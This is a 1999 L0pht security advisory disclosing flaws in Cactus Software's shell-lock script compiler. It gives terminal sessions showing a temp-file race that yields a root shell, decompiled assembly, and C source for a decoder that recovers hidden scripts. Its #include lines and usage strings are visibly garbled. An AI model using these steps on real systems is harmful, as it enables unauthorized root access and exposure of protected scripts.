Date: Tue, 5 Oct 1999 15:12:21 -0700
From: Elias Levy <[email protected]>
To: [email protected]Subject: Cactus Software's shell-lock
L0pht Security Advisory
Advisory Released Oct 4 1999
Application: Cactus Software's shell-lock
Severity (a): Users can de-obfuscate and retrieve
the hidden shell code
Severity (b): If a shell-locked binary is setuid
root a user can execute any command
as root.
Status: The vendor has been sent a copy of the advisory
(in a format that "Even if a hacker used the 'strings'
utility, it would be a total waste of time.)
Author: [email protected] and lumpy
http://www.l0pht.com/advisories.html
Overview:
(a) A trivial encoding mechanism is used for obfuscating the shell code in the
"compiled" binary. Anyone with read permissions to the file in question can
decode and retrieve the original shell code. Another vulnerability exists
where the user can retrieve the un-encoded shell script without needing to
actually decode the binary.
(b) The vendors claim the program to be useful in creating SUID binaries
on systems that do not honor SUID shell scripts and also to protect against
the security problems with SUID shell scripts. As it turns out any shell-lock
"compiled" program that is SUID root will allow any user to execute
any program with root privileges.
Example (a'):
[slaughter-house] cat q.sh
#!/bin/sh
echo "hi there... this is a test"
[slaughter-house] shell-lock -o q q.sh
SHELL-LOCK(tm)
Shell Script Security Software
Copyright (C) 1989-1999
Cactus International, Inc.
(Version: 2.1.1.1 7/19/99)
Converting files: q.sh
Compiling.....DEMO Version...
Success!!
The shell script "q" has been compiled and placed in "q"
Conversion successful!!
[slaughter-house] file q
q: ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped
[slaughter-house] ./q
hi there... this is a test
[slaughter-house] strings ./q
(some stuff... not the ascii from the shell script)
[slaughter-house] ./codem -d -i ./q
#!/bin/sh
rm -f $0 2>/dev/null
echo "hi there... this is a test"
Example (a''):
[slaughter-house] temp-watch -d /var/tmp -C 'q*' -D ./ &
[1] 22971
[slaughter-house] nice +10 ./q
hi there... this is a test
[slaughter-house] more q*
#!/bin/sh
rm -f $0 2>/dev/null
echo "hi there... this is a test"
Example (b):
# ls -l q
-rwxr-xr-x 1 mudge other 50753 Sep 28 14:24 q
# chown root q
# chmod 4755 q
# exit
[slaughter-house] id
uid=789(mudge) gid=1(other)
[slaughter-house] ls -l q
-rwsr-xr-x 1 root other 50753 Sep 28 14:24 q
[slaughter-house] temp-watch -X '^q*' -R /bin/sh -d /var/tmp &
[1] 23071
[slaughter-house] nice +10 ./q
# id
uid=0(root) gid=1(other)
Background on shell-lock:
Have you ever seen the big advertisements run in the back of SysAdmin
magazine. You know, the ones with the Texan with the huge hat and
sunglasses? Me too! Well, that is Cactus software and I've wanted to
look at some of their stuff but never found the time. Until lumpy
spotted some rather funny (read sad) stuff, and away we went.
The program "shell-lock" is used to create ELF binaries from shell scripts.
Ostensibly called a Shell Script Compiler, the literature states that the
program also hides the original shell code so as not to be returnable
through running strings(1) on the binary.
A few tidbits from the product literature available on their web page
( http://www.cactus.com/shellock.html ):
. There is absolutely no way anyone will know the contents of the shell
script once it has been locked. Even if a hacker used the "strings"
utility, it would be a total waste of time.
. Make a simple limited shell script run with root power. This is done by
making the binary executable a set-uid program, and eliminates giving
out the "root password" to many users.
And from the release notes:
. Strong Security enhancements. All known methods of attack on a
shell-locked script have been thwarted in this version.
Details:
A quick decompilation shows that the encoding and decoding routines look
as follows:
0x16194 : inc %i4 Increment the counter
0x16198 : srl %i4, 0x1f, %o0 {
0x1619c : add %i4, %o0, %o0 { testing for odd v even
0x161a0 : andn %o0, 1, %o0 {
0x161a4 : cmp %i4, %o0 {
0x161a8 : bne 0x161b8 If they match
0x161ac : add %o1, 0x63, %o2 add 0x63 to the value
0x161b0 : b 0x161c0 else
0x161b4 : ld [ %i1 ], %o0
0x161b8 : add %o1, 0x44, %o2 add 0x44 to the value
0x161bc : ld [ %i1 ], %o0
0x161c0 : deccc %o0
0x161c4 : bneg 0x16228
0x161c8 : st %o0, [ %i1 ]
0x161cc : ld [ %i1 + 4 ], %o0
0x161d0 : add %o0, 1, %o1
0x161d4 : st %o1, [ %i1 + 4 ]
0x161d8 : and %o2, 0xff, %o1 and with 0xff (hey it's
0x161dc : stb %o1, [ %o0 ] ascii printable after all)
0x161e0 : ld [ %i0 ], %o0
0x161e4 : deccc %o0
This basically boils down to the following C code snippit.
for (i=0; i < strlen ; i++){
if (!(i % 2))
outbuff[i] = (inbuff[i] + 0x44) & 0xff;
else
outbuff[i] = (inbuff[i] + 0x63) & 0xff;
}
Conversely the decoding subtracts 0x44 and 0x63 alternately.
What shell-lock does when it creates the initial "compiled" binary from
the shell script is to add the line "rm -f $0 2>/dev/null" to the bourne
shell script (or "unlink $ZERO ; $ZERO=ENV{'X0'};\n.\nw\nq" for a perl
script) and encodes the entire file. This is then copied into the
data section of a skeleton binary file. The binary file, upon execution,
reads the encoded data section and writes it out to a temporary file (*note:
the default location is /var/tmp though it will follow the TMPDIR variable)
and then execve's /bin/sh to call the program.
The first method of extracting the data comes in using the attached program
to read the binary and run the data section through the decoding routine.
The second method of extraction is to use the current version of temp-watch
(available freely from the L0pht advisories section) to make a copy of the
temporary file containing the original shell code that is created when the
binary is run.
The SUID root vulnerability lies in the fact that while the temporary file
is created without any special permissions, the file exec'ing it is running
as root. Thus, as soon as one sees the temporary file the race condition
exists where the user can unlink the file and replace it with a different
file or a symlink to the program wishing to be executed. This is accomplished
in the above example with the program temp-watch using arguments specifying
the replacement of the temporary file with a link to /bin/sh.
Solution:
Do not take candy or accept car rides from strangers. If something seems
too good to be true it probably is. There are few magic solutions that
negate having to do things right in the first place.
If you need a shell script to run with root priveledges consider writing
it in C or using something like sudo.
Do not rely upon shell-lock as an obfuscation mechanism for hiding the
internals of shell scripts in 'compiled' binaries.
Source Code:
---begin temp-watch---
temp-watch can be found at http://www.l0pht.com/advisories/l0pht-watch.tar.gz
---end temp-watch---
---begin codem.c---
#include
#include
#include
#include
#include
#include
#include
void usage(char *);
int main(int argc, char *argv[]){
int fdin, fdout;
int strlen, i, c;
int cryptFlag=0, decryptFlag=0,seekFlag=0;
int seekOffset=50688;
char *infile=NULL, *outfile=NULL;
char inbuff[8192];
char outbuff[8192];
while ((c = getopt(argc, argv, "cdhi:o:s:")) != EOF){
switch (c) {
case 'c':
cryptFlag++;
break;
case 'd':
decryptFlag++;
break;
case 'i':
infile = optarg;
break;
case 'o':
outfile = optarg;
break;
case 's':
seekOffset = atoi(optarg);
break;
case 'h':
usage(argv[0]);
break;
default:
usage(argv[0]);
break;
}
}
if ((cryptFlag && decryptFlag) || (!cryptFlag && !decryptFlag)){
printf("Must specify either -c or -d but not both\n");
usage(argv[0]);
}
if (infile){
fdin = open(infile, O_RDONLY);
if (fdin == -1){
perror("open infile");
}
} else {
fdin = STDIN_FILENO;
}
if (outfile){
fdout = open(outfile, O_WRONLY|O_CREAT|O_EXCL, 0644);
if (fdout == -1){
perror("open outfiel");
}
} else {
fdout = STDOUT_FILENO;
}
memset(inbuff, '\0', sizeof(inbuff));
memset(outbuff, '\0', sizeof(outbuff));
if (decryptFlag)
lseek(fdin, seekOffset, SEEK_SET);
while ((strlen = read(fdin, inbuff, sizeof(inbuff))) != 0){
for (i=0; i < strlen ; i++){
if (cryptFlag){
if (!(i % 2))
outbuff[i] = (inbuff[i] + 0x44) & 0xff;
else
outbuff[i] = (inbuff[i] + 0x63) & 0xff;
} else {
if (!(i % 2))
outbuff[i] = inbuff[i] - 0x44;
else
outbuff[i] = inbuff[i] - 0x63;
}
}
write(fdout, outbuff, strlen);
}
close(fdin);
close(fdout);
return(0);
}
void usage(char *progname){
char *c;
c = strrchr(progname, '/');
if (c)
c++;
else
c = progname;
printf("Usage: %s -cd[h] [-i infile] [-o outfile] [-s seek] \n", c);
printf(" Shell-lock {en,de}coder by [email protected] and _lumpy\n");
printf(" -c encrypt\n");
printf(" -d decrypt\n");
printf(" -h help\n");
printf(" -i /templates/advisory.html input file\n");
printf(" -o /templates/advisory.html output file\n");
printf(" -s seed offset [defaults to 50688]\n");
exit(1);
}
---end codem.c---
.mudge
[email protected]